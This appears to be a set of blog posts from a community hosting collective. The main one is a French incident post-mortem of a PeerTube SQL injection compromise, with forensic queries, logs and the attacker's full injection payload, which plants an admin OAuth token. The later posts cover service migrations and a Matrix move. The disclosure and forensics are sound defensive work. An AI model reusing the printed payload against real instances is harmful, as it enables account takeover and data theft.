Samedi PeerTube a publié la version v8.1.8, qui prend des mesures complémentaires suite à l'exploitation de la SQLi corrigée en v8.1.6 et la persistence d'au moins un acteur malveillant sur un grand nombre d'instances PeerTube.

D'abord grand merci à Framasoft et Chocobozzz en particulier, pour la communication rapide, claire et transparente.

TL;DR : un acteur malveillant a pu accéder en tant qu'administrateur à notre instance PeerTube. Si vous utilisez l'instance, il est possible que votre identifiant, adresse e-mail et mot-de-passe PeerTube aient été collectés, ainsi que les informations privées de votre profil et compte. Il est indispensable au minimum de renouveler votre mot de passe PeerTube et de le considérer compromis si vous l'employez ailleurs. Ni notre infrastructure, ni nos autres services ne sont compromis d'après notre analyse.

Déroulé et synthèse

• Le 20/12/2018, le commit 2f5c6b2fc6e60502c2a8df4dc9029c1d87ebe30b a introduit une vulnérabilité de type SQLi (injection SQL) dans PeerTube
• Le 18/05/2026, cette vulnérabilité est exploitée par un acteur malveillant non identifié, il obtient un accès administrateur à notre instance et persiste son accès (jeton d'API)
• Le 19/05/2026, l'acteur malveillant teste le bon fonctionnement de son accès
• Le 20/05/2026, le commit cc07364a5d635b6e43a92fc5e2e2e3eeacf4e8f4 et la publication de la version 8.1.6 corrigent cette vulnérabilité upstream
• Le 20/05/2026, l'acteur malveillant teste le bon fonctionnement de son accès
• Le 21/05/2026, nous mettons à jour notre instance PeerTube en version 8.1.6, corrigeant la vulnérabilité mais ne révoquant pas l'accès persistant
• Le 22/05/2026, l'acteur malveillant utilise son accès pour déployer un nouveau plugin sur notre instance PeerTube, lequel ne semble pas opérer d'action malveillante supplémentaire
• Le 23/05/2026, PeerTube annonce avoir détecté une campagne d'intrusion exploitant la SQLi corrigée plus tôt, et publie la version 8.1.8 qui force des mesures de remédiation
• Le 24/05/2026, nous confirmons être victime de la campagne, nous décidons de stopper l'instance PeerTube pour analyser en détails
• Le 25/05/2026, nous estimons que le risque d'intrusion dépassant PeerTube est faible, en accord avec l'analyse publiée par Chocobozzz, et avisons comment communiquer
• Le 26/05/2026, nous communiquons cet article, rétablissons l'instance et déployons les mesures complémentaires

Les composants techniques compromis : notre instance PeerTube a été compromise, un accès persistant administrateur a été déployé et un plugin malveillant a été installé, ainsi que ses dépendances.

L'acteur impliqué : un acteur malveillant ayant opéré la compromission vraisemblable de plusieurs centaines d'instances PeerTube, sans revandication à notre connaissance, et sans divulgation de données personnelles à notre connaisance.

L'impact pour TeDomum : compromission complète de l'instance PeerTube, qui doit être dépolluée avant d'être remise en ligne.

L'impact pour vous : compromission possible de vos informations personnelles (association du nom d'utilisateur, adresse e-mail et mot-de-passe, y-compris potentiellement en clair si vous avez employé PeerTube entre le 18/05/2026 et le 24/05/2026).

Les mesures prises par TeDomum : déploiement des correctifs proposés par PeerTube, analyse complète de l'instance, analyse superficielle du serveur plus largement, révocation de tous les jetons d'authentification et rotation des mots de passe des administrateurices.

Références : – Chocobozzz confirme que toutes les versions antérieures sont vulnérables : https://github.com/Chocobozzz/PeerTube/issues/7622 – La brève discussion associée sur le forum CHATONs : https://forum.chatons.org/t/failles-sur-peertube/8522/2 – L'analyse publique d'une autre instance PeerTube : https://www.sarahgebauer.com/post/peertube-vulnerability-notes/

Scénario documenté

Dans le commit cc07364a5d635b6e43a92fc5e2e2e3eeacf4e8f4, Chocobozzz corrige deux fonctions possiblement vulnérables à une injection SQL. D'après le Changelog, le codepath de updateScore semble être celui exploitable.

Le code en question avait été introduit au début du projet en 2018 dans le commit https://github.com/Chocobozzz/PeerTube/commit/2f5c6b2fc6e60502c2a8df4dc9029c1d87ebe30b.

Le scénario décrit dans les release notes de la v8.1.8 aurait consisté à présenter une URL d'inbox exploitant l'injection SQL, pour exécuter d'autres instructions dans la transaction SQL, comme l'insertion d'un jeton OAuth d'API avec accès administrateur. Le jeton aurait ensuite été employé via l'API pour installer un plugin malveillant nommé peertube-plugin-google-analytics-js.

Le code du plugin analysé impliquerait le chargement d'une ressource JS externe. Il est difficile de qualifier son comportement : la version servie pendant l'analyse se contentait d'afficher un log dans la console navigateur mais d'autres versions ont pu être servies en fonction du client.

Outre la suppression du plugin des dépôts de PeerTube, le correctif additionnel de la v8.1.8 consiste à :

1. désactiver automatiquement le plugin
2. logout tous les OAuth pour forcer un nouveau login
3. ajouter une option pour empêcher l'utilisation de l'API en tant que compte administrateur

Confirmation de l'exploitation

Sommes-nous concernés ? oui (requête fournie dans les release notes PeerTube, recherche l'IP de l'acteur malveillant connu).

# SELECT * FROM "actorFollow" WHERE "url" LIKE '%20.240.202.159%';
-[ RECORD 1 ]-+----------------------------------------------------------------------
id            | 4739
state         | accepted
score         | 1000
actorId       | 1152554
targetActorId | 2
createdAt     | 2026-05-18 18:47:48.222+00
updatedAt     | 2026-05-18 18:47:48.222+00
url           | http://20.240.202.159:8777/users/audit<snip>/follows/<snip>

L'insertion de l'acteur donc le début de l'intrusion date du 18/05/2026, il y a une semaine. Nous n'avons donc plus beaucoup de logs ou métriques utiles à exploiter.

L'adversaire a-t-il tenté une exploitation ? oui (requête fournie dans les release notes PeerTube, recherche le pattern permettant l'exploitation SQLi par l'acteur malveillant identifié).

# SELECT count(*) FROM "actor" WHERE "inboxUrl" LIKE '%''%';

id                | 1152554
type              | Person
preferredUsername | audit<snip>
url               | http://20.240.202.159:8777/users/audit<snip>
followersCount    | 0
followingCount    | 1
inboxUrl          | http://20.240.202.159:8777/x');DO/**/$f$/**/DECLARE/**/uid/**/INT;/**/cid/**/INT;/**/BEGIN
/**/EXECUTE/**/'SELECT/**/id/**/FROM/**/'||quote_ident('user')||'/**/WHERE/**/role=0/**/LIMIT/**/1'/**/INTO/**
/uid;/**/EXECUTE/**/'SELECT/**/id/**/FROM/**/'||quote_ident('oAuthClient')||'/**/LIMIT/**/1'/**/INTO/**/cid;/*
*/EXECUTE/**/'INSERT/**/INTO/**/'||quote_ident('oAuthToken')||'('||quote_ident('accessToken')||','||quote_iden
t('refreshToken')||','||quote_ident('accessTokenExpiresAt')||','||quote_ident('refreshTokenExpiresAt')||','||q
uote_ident('userId')||','||quote_ident('oAuthClientId')||','||quote_ident('createdAt')||','||quote_ident('upda
tedAt')||')/**/VALUES('||quote_literal('pt_audit_<snip>')||','||quote_literal('refresh_pt_audit_<snip>')||','||quote_literal('2030-01-01')||','||quote_literal('2030-01-01')||','||uid||','||cid||',NOW(),NOW())
';/**/END/**/$f$;--                                                                                           
outboxUrl         | http://20.240.202.159:8777/users/audit<snip>/outbox
sharedInboxUrl    |
followersUrl      | http://20.240.202.159:8777/users/audit<snip>/followers
followingUrl      | http://20.240.202.159:8777/users/audit<snip>/following 
serverId          | 5750
createdAt         | 2026-05-18 18:47:48.203+00
updatedAt         | 2026-05-18 18:47:48.228+00                                                                                       

L'URL d'inbox utilisée pour l'exploitation suit effectivement le scénario décrit dans les release notes (insertion d'un nouveau jeton OAuth pour le compte administrateur).

Au moins un token a effectivement été créé pour le compte admin à 19h08 lorsque la fonction vulnérable est exécutée sur l'acteur.

# SELECT * FROM "oAuthToken" WHERE "lastActivityIP" = '20.240.202.159';
-[ RECORD 1 ]---------+------------------------------
id                    | 10501
accessToken           | pt_audit_<snip>
accessTokenExpiresAt  | 2030-01-01 00:00:00+00
refreshToken          | refresh_pt_audit_<snip>
refreshTokenExpiresAt | 2030-01-01 00:00:00+00
userId                | 490
oAuthClientId         | 1
createdAt             | 2026-05-18 19:08:04.716427+00
updatedAt             | 2026-05-22 21:03:43.054+00
authName              | 
loginDevice           | 
loginIP               | 
lastActivityDevice    | curl/8.5.0
lastActivityIP        | 20.240.202.159
loginDate             | 
lastActivityDate      | 2026-05-22 21:02:52.293+00

Approfondissement du scénario

Le scénario décrit est celui qui a été observé à l'échelle par Framasoft et l'équipe de PeerTube. Ce n'est toutefois pas la seule variante que nous souhaitons considérer.

Première variante envisagée : la distribution via le plugin malveillant d'un JavaScript conditionné par le client (son IP ou son User-Agent) en vue de compromettre son accès à PeerTube ou son navigateur. Le gain pour l'adversaire serait toutefois marginal car il dispose déjà d'un accès administrateur. On néglige donc ce scénario, supposant que le plugin a pu servir à collecter des métadonnées sur les visiteurices, sans pour autant augmenter la surface compromise.

Autre variante : l'acteur malveillant ou un autre acteur au cours des derniers mois a pu exploiter la vulnérabilité, obtenir un accès shell, profiter des vulnérabilités Linux en cours pour élever ses privilèges sur notre serveur et effacer ses traces. Vu la durée de conservation de nos logs et le possible effacement volontaire, il est impossible d'écarter complètement cette variante. On cherche toutefois à identifier des points de contrôle pour se rassurer sur le réel niveau de compromission.

Pour réaliser un tel scénario, il aurait fallu :

1. exploiter la SQLi pour obtenir tout accès à PeerTube, par exemple à l'API comme dans le scénario documenté
2. employer l'accès à PeerTube pour rebondir et obtenir un accès shell, dans notre cas au sein du conteneur Docker qui exécute PeerTube, ou dans un autre conteneur accédé par PeerTube (base de données, cache Redis, les workers pourraient être concernés mais nous n'en avons pas déployé)
3. exploiter l'une des récentes vulnérabilités permettant l'élévation de privilèges sous Linux, par exemple DirtyFrag dont le correctif n'est pas encore déployé sur le serveur qui héberge PeerTube.

Le 1 est acquis, on s'attend à inspecter différents logs et tables de PeerTube pour détecter des indicateurs. Le 3 est trivial une fois le 2 obtenu, on se prépare à rechercher les indicateurs habituels de LPE, et ceux spécifiques aux vulnérabilités récentes.

Le 2 est plus intéressant : a. la configuration de notre serveur PostgreSQL ne permet pas à un PeerTube compromis d'y exécuter du code b. la configuration de notre serveur Redis ne permet pas à un PeerTube compromis d'y exécuter du code c. l'API de PeerTube permet d'installer des plugins, qui pourraient exécuter du code arbitraire et malveillant bien que ce ne fut pas le cas dans le plugin détecté par Framasoft d. l'API de PeerTube et l'accès à la base de données permettent de gérer des tâches, notamment de transcodage, qui font appel à des outils en ligne de commande et pourraient offrir un shell e. l'API de PeerTube permet de mettre à jour la configuration de l'application, ce qui pourrait mener à un accès shell.

Une revue de la structure de la configuration telle qu'elle est mise à jour via l'API ne révèle aucun paramètre susceptible de fournir un shell, éliminant le scénario 2e. Une revue des API de gestion de tâches ne révèle pas d'opportunité d'exécuter du code arbitraire même avec un accès administrateur, éliminant le scénario 2d.

Le 2c peut-être joué en installant un plugin maîtrisé par l'acteur malveillant. La principale contrainte s'imposant pour les plugins PeerTube installés depuis NPM est une règle de nommage : le nom du plugin doit débuter par peertube-plugin- ou peertube-theme. Un plugin malveillant installable via l'API devrait donc être publié sur NPM et nommé en respectant la convention, c'est facile à rechercher sur NPM et dans les logs techniques de PeerTube.

Indicateurs de l'étape 1

On a établi en début d'analyse qu'une injection avait été réussie et avait permis la création d'un jeton administrateur le 18/05/2026 à 19h08, observé en BDD.

On dispose d'une copie de la base de données, telle que sauvegardée le 20/05/2026 et les modifications individuelles (log de transactions) depuis. Ces données nous permettent de confirmer que le compte était bien présent dès le 20/05/2026, que la configuration n'a pas été éditée, et que seul un plugin a été activé en BDD après le 20/05/2026.

Aucune autre activité suspecte n'a été identifiée dans le trafic SQL. On exclut donc une nouvelle exploitation de la SQLi et/ou nettoyage des traces en BDD depuis le 20/05/2026.

On dispose d'une copie des logs techniques depuis le 18/05/2026 à 20h, mais aucun log antérieur en raison de la politique de conservation. Le compte créé par exploitation de la vulnérabilité est antérieur de quelques minutes et nous n'avons donc pas pu observer le log de création. Ce compte génère des logs les 18, 19 et 20 : le 18 lié à un post émis par l'instance malveillante, le 19 et le 20 pour vérifier la validité du token créé.

peertube165.log:{"tags":["http"],"level":"info","message":"20.240.202.159 - - [18/May/2026:21:44:42 +0000] \"POST /inbox HTTP/1.1\" 403 109 \"-\" \"curl/8.5.0\"","label":"video.tedomum.net:443","timestamp":"2026-05-18T21:44:42.332Z"}
peertube171.log:{"tags":["http"],"level":"info","message":"20.240.202.159 - - [19/May/2026:15:54:04 +0000] \"GET /api/v1/users/me HTTP/1.1\" 200 5506 \"-\" \"curl/8.5.0\"","label":"video.tedomum.net:443","timestamp":"2026-05-19T15:54:04.293Z"}
peertube177.log:{"tags":["http"],"level":"info","message":"20.240.202.159 - - [20/May/2026:14:52:00 +0000] \"GET /api/v1/users/me HTTP/1.1\" 200 5506 \"-\" \"curl/8.5.0\"","label":"video.tedomum.net:443","timestamp":"2026-05-20T14:52:00.936Z"}

Pour écarter la piste d'autres exploitations par le même acteur, on teste : – l'occurrence de l'adresse IP dans les logs et en BDD, sans nouveau résultat ; – l'occurrence du user agent dans les logs et en BDD, sans nouveau résultat pertinent ; – l'occurrence d'appels notables et réguliers aux mêmes APIs, sans résultat.

Pour détecter des tentatives d'autres acteurs malveillants, on recherche d'abord les acteurs ActivityPub dont l'URL d'inbox est anormalement longue plutôt que la présence spécifique d'un simple quote : aucun nouveau résultat.

# SELECT id, type, "preferredUsername", "inboxUrl" FROM "actor" WHERE length("inboxUrl") > 100 LIMIT 20;

Afin d'écarter l'hypothèse d'un nettoyage de la BDD après une intrusion, on s'assure que les identifiants des serveurs fédérés avec notre instance sont bien consécutifs (pas de trous).

peertube=# SELECT x.n from generate_series(5000, 5752) as x(n) WHERE x.n NOT IN (SELECT "id" from "server");
 n 
---
(0 rows)

Aucun serveur n'a été supprimé de la fédération, et on peut vérifier manuellement tous les serveurs découverts récemment.

#  SELECT * FROM server WHERE <insérer critères> ORDER BY "createdAt" DESC LIMIT 200;

Seul 2 serveurs sont identifiés : le serveur malveillant connu et un serveur légitime après vérification manuelle.

A ce stade de l'analyse, on estime qu'un unique acteur malveillant a exploité correctement la SQLi le 18/05/2026 : celui déjà étudié par Framasoft.

Indicateurs de l'étape 2

On se concentre sur l'utilisation de plugins PeerTube pour accéder à un shell plutôt que le plugin en apparence inoffensif décrit dans les release notes.

Seuls 2 plugins installés depuis le début de l'année sont référencés en BDD, dont 1 connu et installé par un administrateur :

# SELECT id, name, enabled, homepage, "createdAt" FROM "plugin" WHERE "createdAt" > timestamp '2026-01-01';

-[ RECORD 1 ]
id        | 61
name      | subtitle-editor
enabled   | t
homepage  | https://codeberg.org/herover/peertube-plugin-subtitle-editor
createdAt | 2026-02-26 20:30:33.082+00
-[ RECORD 2 ]
id        | 62
name      | google-analytics-js
enabled   | t
homepage  | https://example.invalid/peertube-plugin-google-analytics-js
createdAt | 2026-05-22 21:02:52.105+00

Comme décrit plus haut, pour être installable par un acteur malveillant, un plugin doit être diffusé sur NPM, avec un nom débutant par peertube-plugin- ou peertube-theme-. 253 packages NPM répondent aujourd'hui à ces critères :

> const names = require("all-the-package-names")
> names.filter(name => name.startsWith("peertube-plugin-")).length
192
> names.filter(name => name.startsWith("peertube-theme-")).length
61

On profite de l'excellent all-the-package-names pour comparer entre deux dates et ne s'intéresser qu'aux plugins publiés depuis le début d'année :

peertube-plugin-emailwhitelist
peertube-plugin-embed-error-events
peertube-plugin-google-analytics-js
peertube-plugin-hcaptcha-plusre
peertube-plugin-lunacode-vaapi
peertube-plugin-odysee-player
peertube-plugin-playlist-page-embed
peertube-plugin-premium-channels
peertube-plugin-premium-members
peertube-plugin-rce-proof
peertube-plugin-sell-storage
peertube-plugin-sidebar-transcript
peertube-plugin-sponsorblock
peertube-plugin-static-review
peertube-plugin-ultimate-transcoding
peertube-plugin-user-group-privacy-enhanced
peertube-plugin-vast-loop-ads
peertube-theme-dracula
peertube-theme-lunacode-98

Parmi les packages actifs dans le node_modules du déploiement PeerTube, seul celui déjà analysé par Framasoft est effectivement présent :

# ls node_modules/ | grep peertube-
peertube-plugin-google-analytics-js
peertube-plugin-subtitle-editor
<snip>

Le plugin en question est publié sur NPM pour la première fois le 22/05/2026. Il ne présente qu'une version dont le nombre de téléchargements (1399 le 25/06/2026) fournit une idée de l'ampleur de l'exploitation : https://www.npmjs.com/package/peertube-plugin-google-analytics-js?activeTab=versions.

L'installation sur notre instance date effectivement du 22/05/2026 à 21h02, soit 15 minutes après la publication, probablement par un automate :

# ls -lahd node_modules/peertube-plugin-google-analytics-js/
drwxr-xr-x 3 systemd-coredump systemd-coredump 4.0K May 22 21:02 node_modules/peertube-plugin-google-analytics-js/

La version installée sur notre instance est conforme à celle distribuée sur NPM. Le plugin ne déclare pas de dépendance qui aurait pu masquer du code malveillant.

{
  "name": "peertube-plugin-google-analytics-js",
  "version": "0.0.1",
  "description": "Inject Google Analytics tracking script into every PeerTube page.",
  "engine": {
    "peertube": ">=8.0.0"
  },
  "keywords": [
    "peertube",
    "plugin",
    "analytics",
    "google-analytics",
    "gtag"
  ],
  "homepage": "https://example.invalid/peertube-plugin-google-analytics-js",
  "bugs": "https://example.invalid/peertube-plugin-google-analytics-js/issues",
  "author": "",
  "license": "MIT",
  "library": "./main.js",
  "staticDirs": {},
  "css": [],
  "clientScripts": [
    {
      "script": "client/common-client-plugin.js",
      "scopes": [
        "common"
      ]
    }
  ],
  "translations": {},
  "private": false
}

Notre analyse est conforme à celle de Framasoft. Il a pu contribuer à la collecte des données concernant les navigateurs d'utilisateurices de notre instance, comme toute ressource JavaScript externe. Il n'a vraisemblablement pas offert à l'acteur malveillant d'accès supplémentaire à l'instance PeerTube ou à nos serveurs.

Indicateurs de l'étape 3

On estime à ce stade qu'il est improbable que l'acteur malveillant ait eu un accès shell permettant une élévation de privilèges. On se contente donc du minimum en terme de vérifications :

• lister les processus toujours actifs, créés depuis le 18/05
• lister les fichiers modifiés depuis le 18/05
• rechercher des erreurs indicatrices dans les journaux système

Aucune de ces vérification n'a relevé d'élément suspect.

Nous avons débuté cet été le déploiement des inscriptions à nos services sur seule invitation. Cette bascule se traduit par deux transformations :

1. La mise à disposition d'une nouvelle instance Hiboo sur auth.tedomum.fr réservée aux invitées, sur laquelle s'appuieront progressivement tous nos services.
2. La réinstanciation de nos services Matrix vers tedomum.fr pour assurer un nettoyage impossible sinon et faciliter la bascule d'authentification.

Matrix était un début et l'ensemble de nos services doit progressivement être réservé sous invitation. Ce qui suit est une proposition soumise à discussion détaillant le raisonnement par service.

Services Fediverse

Nous hébergeons actuellement plusieurs services sur le Fediverse : une instance Mastodon, une instance Peertube, une instance WriteFreely et une instance Pixelfed.

Pour basculer ces services sur invitation il nous faut basculer l'authentification. La tentation est forte pour Mastodon et WriteFreely plutôt spammés de déployer une instance propre, d'autant que la migration de compte est facilitée sur Mastodon.

Concernant Peertube bien que peu spammée, l'instance héberge du contenu pornographique, dans un contexte légal de plus en plus incertain à ce sujet malgré les NSFW clairement indiqués. Il est possible que nous interdisions à terme le contenu pornographique et démarrions à cette occasion une nouvelle instance.

Cela se traduirait dans ce cas par une nouvelle URL en tedomum.fr pour chacun de ces services et une période de migration comparable à ce que nous avons mis en place pour Matrix.

WriteFreely est peu maintenu mais très robuste, rien ne nous indique de changer quoi que ce soit sur les choix technologiques, tandis que Pixelfed est tout aussi peu maintenu mais très fragile. Il est probable que ce dernier soit abandonné.

S'il faut re-déployer une instance, Mastodon est lourd de maintenance, et a des dépendances pas triviales comme un back-end Redis pour les taches distribuées (dont nous ne bénéficions que très marginalement). Des alternatives plus légères compatibles avec les mêmes clients existent et sont à étudier sur le plan des outils de modération et de la robustesse, notamment Pleroma et GoToSocial. À ne pas négliger non plus Misskey et ses forks, de la même complexité que Mastodon mais fonctionnellement plus complets, qui pourraient compenser l'absence de Pixelfed.

Enfin si nous réinstancions un service Fediverse principal, probablement autour du micro-blogging, nous pouvons réfléchir à fédérer directement sur notre domaine racine et ainsi fournir des identifiants en @tedomum.fr de même que les identifiants Matrix sont en :tedomum.fr.

La proposition la plus intéressante à notre avis :

• instancier en premier un Peertube sur video.tedomum.fr, en pensant la configuration collectivement, et laisser 6 mois à tout le monde pour migrer, la pornographie y sera probablement interdite ;
• réfléchir à une possible alternative à Mastodon collectivement, tester autant que nécessaire et se décider début 2026 pour la suite, instancier ce que nous aurons choisi et fermer l'instance Mastodon 3 à 6 mois plus tard ;
• basculer l'authentification de WriteFreely mais conserver son URL, attendre quelques mois encore avant de décider ou pas de le réinstancier, certainement toujours sur le même logiciel ;
• fermer Pixelfed début 2026.

Migrations faciles

Les services Nextcloud, Miniflux et DNS ont un nombre raisonnable d'utilisateurices, sont déjà authentifiés sur Hiboo et sont assez peu dépendants de l'URL : il suffit de reconfigurer un client lourd, ou même simplement de mettre à jour ses favoris. En prime contrairement au Fediverse, il est aisé pour nous de supporter 2 URL en parallèle.

Le fonctionnement parallèle sur deux instances Hiboo distinctes est très difficile pour une partie des utilisateurices. Nous développerons cette fin d'année une mise à jour de Hiboo permettant la migration de ses profils d'une instance à une autre. Par souci de cohérence nous sommes bien-entendu tentés de basculer les URL vers tedomum.fr.

Aussi, si Miniflux et les DNS sont hébergés sur notre cluster Kity, Nextcloud ne s'y trouve pas encore. Un nettoyage est nécessaire au préalable.

La proposition la plus intéressante à notre avis :

• terminer le développement de la fonctionnalité de migration Hiboo et organiser la bascule ;
• ouvrir les services Miniflux et DNS sur une URL en tedomum.fr et organiser le changement de favoris et la configuration des clients sous 3 mois ;
• nettoyer Nextcloud, le migrer vers Kity et opérer la même bascule d'URL sur 6 mois.

Forge

Nous hébergeons actuellement une forge complète : Gitlab, Gitlab CI, Gitlab pages pour les sites statiques. Cette forge est d'une part difficile à migrer vers Kity bien que nous ayons préparé une partie de la manœuvre, elle a été énormément spammée par ailleurs.

Nous sommes intéressés pour tester Forgejo, qui offre des fonctionnalités similaires à Gitlab et laisse entrevoir une fédération, dans un projet véritablement communautaire, bien plus léger que Gitlab et a priori plus maintenable. Plusieurs problèmes toutefois : non seulement l'hébergement des dépôts Git de Forgejo sur un cluster Kubernetes n'est pas trivial, là où Gitlab offre un mode cluster de Gitaly, mais également la migration implique des changements profonds.

Il faudrait probablement réécrire une partie des scripts de CI, et repenser l'hébergement des pages statiques. Si nous profitons de la migration d'authentification pour engager un tel changement, c'est certainement notre projet le plus ambitieux de 2026, pour lequel nous devons encore faire de nombreux tests.

La proposition la plus censée à notre avis :

• engager ce mois de décembre des tests autour de Forgejo pour mesurer véritablement dans quelle aventure on se lance avec un tel projet ;
• prendre la décision au plus tard en mars et accepter que ce projet si nous le démarrons durera tout 2026, soit le nettoyage de spam et migration Gitlab, soit la bascule Forgejo.

Hébergement d'images

Ce service est très peu utilisé depuis quelques années. Toutefois il héberge un gros historique inséré en images statiques sur de nombreux sites. Il est donc indispensable de continuer à servir ces images, au moins le temps d'une migration lente.

Aussi, tant que nous conservons WriteFreely, un usage même en faible volume est souhaitable pour héberger les pièces-jointes. L'accès sous authentification est souhaitable pour limiter le spam et l'hébergement de contenus illégaux.

Il permettrait aussi d'assurer les fonctions de suppression des images. Des développements ou le choix d'un nouveau logiciel seraient requis, y-compris pour stocker les fichiers sur notre backend S3. Ce pourrait être NextCloud en mode galerie, ou un autre logiciel correctement maintenu.

La proposition la plus intéressante à notre avis :

• engager une réflexion sur les alternatives, notamment la pertinence d'utiliser NextCloud simplement ;
• héberger l'historique d'images en site statique Garage et fermer le service.

Les pads

Ce service est beaucoup utilisé, mais pour des pads de courte durée. Nous avons ponctuellement subi du spam ou du défacement désagréable, ce qui pourrait motiver une activation du SSO.

Une piste sérieuse serait l'activation de SSO sur ce service pour la création de nouveaux documents, tout en autorisant le partage sans authentification, à la responsabilité des propriétaires de partager le lien responsablement.

Une telle bascule serait un changement majeur pour nombre d'utilisateurices, aussi cela pose forcément la question de l'implémentation. Nous avons plusieurs fois observé Cryptpad comme alternative à Etherpad mais la bascule était trop coûteuse pour être justifiée. On doit se reposer la question.

La proposition la plus censée à notre avris :

• tester à nouveau Cryptpad avec les utilisateurices pendant 2 mois et décider d'une éventuelle bascule logicielle ;
• quelle que soit l'issue, déployer en février une nouvelle instance de la solution retenue avec une URL en tedomum.fr et un SSO pour la création de pads ;
• annoncer la fermeture de l'actuel sous 3 à 6 mois.

Les services sans SSO

Les services d'emails, blogs et ntfy resteront vraisemblablement hébergés sans SSO. Si un SSO était intégré ce serait une nouvelle fonctionnalité qui ne demande de fait pas de migration.

Nous pouvons discuter de l'instanciation d'un ntfy en tedomum.fr pour éviter la confusion, c'est presque gratuit pour nous.

A few weeks ago, we announced a major services evolution regarding our Matrix service, especially the migration of our Matrix server to a new domain, tedomum.fr (invite-only).

This article aims to guide you through the simplest possible migration to the home server tedomum.fr. The migration requires a maximum of 1h, but it can take up to 2 days according to our responding time to provide you an invitation link.

The tedomum.net home server will be discontinued on December 15th, 2025, thus we recommend you to migrate your account prior to November 30th. If you use our bridges services, which will be gradually interrupted between Sept 15th and Nov 15th, we do recommend you to migrate them as soon as possible.

Differences tedomum.net and tedomum.fr

The first one is obvious. The domain changes and your Matrix address (MXID) will last with the :tedomum.fr domain. This new domain will host progressively several TeDomum services.

Your login account will change as well. It still relies on Hihoo, with the same interface to login and the same features, but the URL will now be auth.tedomum.fr instead of auth.tedomum.net. This will be a new account. If you use other TeDomum services, you will still keep access to your .net account, and both will merge towards tedomum.fr in the next few months to become more convenient.

The new service has data retention limits. The message history in public rooms will be cleaned after 6 months for messages from other servers. Media issued from other servers will be cached 3 days. In addition, you will get a 2 Go quota for sending files, the files will be cleaned after 3 months without viewing them to recover your storage quota.

Finally, public rooms with many members can be restricted (around 1000 members). To join one of these, you will have to make a request to the TeDomum staff.

Full step by step migration

This migration process is quite complete. If you don't want to keep your conversations history, you can skip to next chapter (quick migration).

1. Do some cleaning: on your current Matrix account, leave rooms that are no longer of interest to you and that you do not want to keep. Once cleaned, if you want to keep the history of some private rooms, export the entire encryption keys (in Element, “Options”, “Encryption”, “Export keys”) and keep the file safely.

2. Contact us by any usual channel to request an invitation, for example via our general room or via our support chat interface.

3. Once you have received the invitation, sign up. You can safely use the same credentials as your other TeDomum account. If you store the password, make sure to distinguish it and associate it with auth.tedomum.fr to avoid any confusion.

4. Ideally, use a computer with a browser, or at least a tablet. The migration is possible but more difficult on a smartphone via a browser in “desktop navigation” mode.

5. Visit our our Element client and follow the authentification and registration procedure until you access your new Matrix account.

6. From your client on the old account, invite your new account to all the rooms you want to keep. You can also decide to create new rooms or new conversations with your contacts whose history you do not care about.

7. Import the encryption keys exported at step (1) to access the encrypted room history you want to keep (in Element, “Options”, “Encryption”, “Import Keys”).

8. Verify that you have access to all your rooms and their history. On your old account, leave the remaining rooms and disconnect all sessions. This old account will be automatically deleted on December 15th.

9. Log in to your new account on the client of your choice by pointing it to the server tedomum.fr, then follow the validation procedure for the new client. You can of course keep element.tedomum.fr in your browser if it's the most convenient for you, but make sure everything is accessible before disconnecting it.

Quick migration

This procedure allows you to migrate very quickly, but will not preserve your message history. In essence, it consists of creating a new account, reopening conversations, and closing the old account.

1. Contact us through any usual channel to request an invitation, for example via our general room or via our support chat interface.

2. Once you have the invitation, sign up. You can safely use the same credentials as your other TeDomum account. If you store the password, make sure to distinguish it and associate it with auth.tedomum.fr to avoid any confusion.

3. Clean up: on your current Matrix account, leave the rooms that no longer have any interest for you and that you do not want to keep. Make a list of the remaining conversations (note the identifiers of your contacts and rooms), notify your close contacts if necessary, and leave all the rooms.

4. You can disconnect from your old account and connect to your new account by specifying the server tedomum.fr. You can use our Element client if needed. .

5. Join all the rooms and contact your close contacts from the new account.

(View 🇬🇧 English version).

Il y a une semaine nous annoncions une évolution majeure des services de TeDomum, en particulier le remplacement du serveur Matrix tedomum.net par un nouveau service tedomum.fr sur invitation uniquement.

Cet article a pour but de vous accompagner pour une migration la plus simple possible vers tedomum.fr. La migration nécessite au maximum 1h de votre temps, mais elle peut s'étaler jusqu'à 2 jours si nous tardons à vous fournir une invitation.

Le service tedomum.net sera interrompu le 15 décembre 2025, nous vous recommandons donc de migrer au plus tard le 30 novembre. Si vous utilisez nos services de bridges, qui seront interrompus progressivement entre le 15 septembre et le 15 novembre, nous vous recommandons de migrer dès que possible.

Les différences entre tedomum.net et tedomum.fr

La première est évidente, le domaine change et votre nouvelle adresse Matrix (MXID) se terminera donc par :tedomum.fr au lieu de :tedomum.net. Ce nouveau domaine accueillera progressivement plusieurs services de TeDomum.

Votre compte d'accès change également. Il s'appuie toujours sur Hiboo, avec la même interface et les mêmes fonctionnalités, mais sur auth.tedomum.fr au lieu de auth.tedomum.net. C'est un nouveau compte, un compte supplémentaire si vous utilisez d'autres services de TeDomum. Les deux fusionneront vers tedomum.fr d'ici quelques mois pour vous simplifier la vie.

Le nouveau service a des limites de conservation des données. L'historique de messages des salons publics est nettoyé après 6 mois pour les messages provenant d'autres serveurs. Les médias d'autres serveurs sont conservés 3 jours en cache. En outre, vous disposerez d'un quota de 2 Go pour l'envoi de fichiers, les envois étant nettoyés après 3 mois sans consultation pour retrouver votre quota.

Enfin, les salons publics avec de nombreux membres sont restreints (limite à 1000 membres environ). Pour les rejoindre vous devrez en faire la demande auprès de l'équipe.

Migration complète étape par étape

Cette démarche de migration est probablement la plus complète. Si vous ne souhaitez pas spécialement conserver l'historique de vos conversations, alors vous pouvez avancer jusqu'au chapitre suivant qui documente une migration rapide.

Idéalement munissez-vous d'un ordinateur avec un navigateur, ou à défaut d'une tablette. La migration est possible mais plus difficile sur un smartphone via un navigateur en mode « navigation de bureau ».

1. Rendez-vous sur notre ancien client Element et authentifiez-vous si ce n'est pas déjà le cas. Ou bien utilisez Element installé et déjà connecté sur votre ordinateur. Attention les fonctions d'export de clés ne sont pas disponibles sur Element X sur mobile.

2. Faites du nettoyage : sur votre compte Matrix actuel quittez les salons qui n'ont plus d'intérêt pour vous et que vous ne souhaitez pas conserver. Une fois nettoyé, si vous souhaitez conserver l'historique de certains salons privés, exportez l'ensemble des clés de chiffrement (dans Element, « Options », « Chiffrement », « Exporter les clés ») et conservez le fichier en sécurité.

3. Contactez-nous par tout canal habituel pour demander une invitation, par exemple rendez-vous sur notre salon général ou à défaut sur notre interface de chat de support.

4. Une fois l'invitation obtenue, inscrivez-vous. Vous pouvez sans risque employer le même nom d'utilisateur et le même mot-de-passe que votre autre compte TeDomum. Si vous stockez le mot-de-passe, pensez à bien le distinguer et l'associer à auth.tedomum.fr pour éviter toute confusion.
